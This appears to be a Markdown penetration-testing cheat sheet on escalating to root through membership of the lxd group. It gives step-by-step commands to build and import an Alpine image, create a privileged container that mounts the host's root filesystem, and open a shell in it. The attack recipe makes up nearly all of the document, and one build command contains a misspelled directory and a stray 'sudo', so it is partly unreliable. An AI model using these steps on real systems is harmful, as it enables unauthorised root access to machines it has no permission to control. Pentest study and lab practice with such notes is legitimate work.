33 lines
793 B
Markdown
33 lines
793 B
Markdown
|
# LXC
|
||
|
|
|
||
|
|
## Privilege Escalation
|
||
|
|
|
||
|
|
### Member of lxd Group
|
||
|
|
|
||
|
|
* [Hackingarticles article](https://www.hackingarticles.in/lxd-privilege-escalation/)
|
||
|
|
* User has to be in `lxd` group, not necessarily `sudo`.
|
||
|
|
|
||
|
|
#### Usage
|
||
|
|
* Clone and build
|
||
|
|
```sh
|
||
|
|
git clone https://github.com/saghul/lxd-alpine-builder.git
|
||
|
|
cd lxd-alpine-builde && sudo && ./build alpine
|
||
|
|
```
|
||
|
|
* Upload to target
|
||
|
|
* Import alpine image
|
||
|
|
```sh
|
||
|
|
lxc image import ./alpine-v3.14-x86_64-20210920_2132.tar.gz --alias myimage
|
||
|
|
```
|
||
|
|
* Prepare image
|
||
|
|
```sh
|
||
|
|
lxc image list
|
||
|
|
lxc init myimage ignite -c security.privileged=true
|
||
|
|
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
|
||
|
|
lxc start ignite
|
||
|
|
lxc exec ignite /bin/sh
|
||
|
|
```
|
||
|
|
* Host `/` is mounted at `/mnt/root` inside the container
|
||
|
|
* `root` directory is at `/mnt/root/root`
|
||
|
|
|
||
|
|
|